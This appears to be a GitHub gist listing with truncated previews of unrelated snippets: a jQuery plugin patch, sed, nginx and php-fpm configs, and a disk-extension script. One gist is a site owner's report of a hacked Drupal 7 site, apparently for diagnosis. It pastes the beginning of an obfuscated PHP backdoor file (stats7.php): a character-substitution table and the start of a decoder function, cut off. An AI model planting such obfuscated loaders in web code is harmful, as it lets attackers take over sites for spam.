This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// chosen.jquery.js, function Chosen.prototype.set_up_html, add this in row 582 | |
if('undefined' !== this.options.afterContent){ | |
var afterContent = jQuery(document.createElement('div')) | |
.addClass('chosen-after-content') | |
.html(this.options.afterContent); | |
this.container.find('ul.chosen-results').after(afterContent); | |
} | |
// then add your custom html like | |
jQuery("#foo").chosen({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
My host just blocked one of my drupal7 websistes for being use for massive spam. | |
Analyzing my access log, i found two script being called often and there are not a Drupal scripts: | |
/sites/all/modules/i18n/i18n_block/stats7.php | |
/modules/file/bs63d8.php | |
/sites/all/modules/i18n/i18n_block/stats7.php: | |
<?php | |
$vNWZ3B7 = Array('1'=>'6', '0'=>'e', '3'=>'8', '2'=>'L', '5'=>'v', '4'=>'M', '7'=>'2', '6'=>'s', '9'=>'r', '8'=>'q', 'A'=>'l', 'C'=>'Y', 'B'=>'S', 'E'=>'K', 'D'=>'n', 'G'=>'T', 'F'=>'C', 'I'=>'y', 'H'=>'t', 'K'=>'G', 'J'=>'9', 'M'=>'k', 'L'=>'w', 'O'=>'H', 'N'=>'x', 'Q'=>'m', 'P'=>'E', 'S'=>'j', 'R'=>'O', 'U'=>'7', 'T'=>'4', 'W'=>'X', 'V'=>'D', 'Y'=>'d', 'X'=>'Z', 'Z'=>'I', 'a'=>'z', 'c'=>'R', 'b'=>'0', 'e'=>'B', 'd'=>'N', 'g'=>'h', 'f'=>'P', 'i'=>'o', 'h'=>'W', 'k'=>'c', 'j'=>'3', 'm'=>'A', 'l'=>'a', 'o'=>'f', 'n'=>'p', 'q'=>'F', 'p'=>'b', 's'=>'5', 'r'=>'g', 'u'=>'J', 't'=>'u', 'w'=>'U', 'v'=>'V', 'y'=>'Q', 'x'=>'1', 'z'=>'i'); | |
function v5T7ETO($vQF6A3S, $vP8XOME){$v8YITRE = ''; for($i=0; $i < strlen($vQF6A |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Remember to escape the dots!! example.com become example\.com | |
# db.sql the original wordpress db | |
# dump_02.sql the final one | |
# cmon its kinda easy, this is just a reminder. | |
sed 's|http://OLD|http://NEW|g' db.sql > dump_01.sql | |
sed 's|OLD|NEW|g' dump_01.sql > dump_02.sql |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--[[ | |
conky vertical bar graph | |
by iggykoopa mods by arpinux(2009) | |
most of the credit goes to londonali1010, I stole big chunks from her ring graphs | |
]] | |
require 'cairo' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[POOL] | |
listen = /var/run/php5.POOL.sock | |
listen.owner = www-data | |
listen.group = www-data | |
user = USER | |
group = USER | |
pm = dynamic | |
pm.max_children = 5 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This small function is somewhere in my code, only purpose is to keep the snippet as small as possible | |
// Return the line number from a new Error().stack element. | |
function _dl(s){ | |
return "\n\t=>\t[" + s.toString() | |
.split(/\r\n|\n/)[1] // get the line | |
.split(/(.*)\((.*)\)(0*)/)[2] // filepath, line number | |
+ ']'; | |
} | |
// ..becose chrome console sometimes jerks with line numbers. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
user www-data; | |
worker_processes 4; | |
pid /run/nginx.pid; | |
events { | |
worker_connections 768; | |
# multi_accept on; | |
} | |
http { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
watch -n .1 "echo 'QUERY_STATEMENT' | mysql -u DBUSER -pDBPASS DBNAME" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
lastpart=`fdisk -l /dev/sda | grep sda |tail -1 |awk '{ print $1 }' |grep -o "[0-9]"` | |
newpart=`expr $lastpart + 1` | |
startsec=`parted /dev/sda unit s print free |tail -2 |grep Free |awk '{ print $1 }'` | |
endsec=`parted /dev/sda unit s print free |tail -2 |grep Free |awk '{ print $2 }'` | |
parted /dev/sda mkpart primary ext2 $startsec $endsec | |
parted /dev/sda set $newpart lvm on | |
partx -v -a /dev/sda | |
pvcreate /dev/sda$newpart | |
vgname=`vgdisplay |grep "VG Name" |awk '{ print $3 }'` | |
vgextend $vgname /dev/sda$newpart |
OlderNewer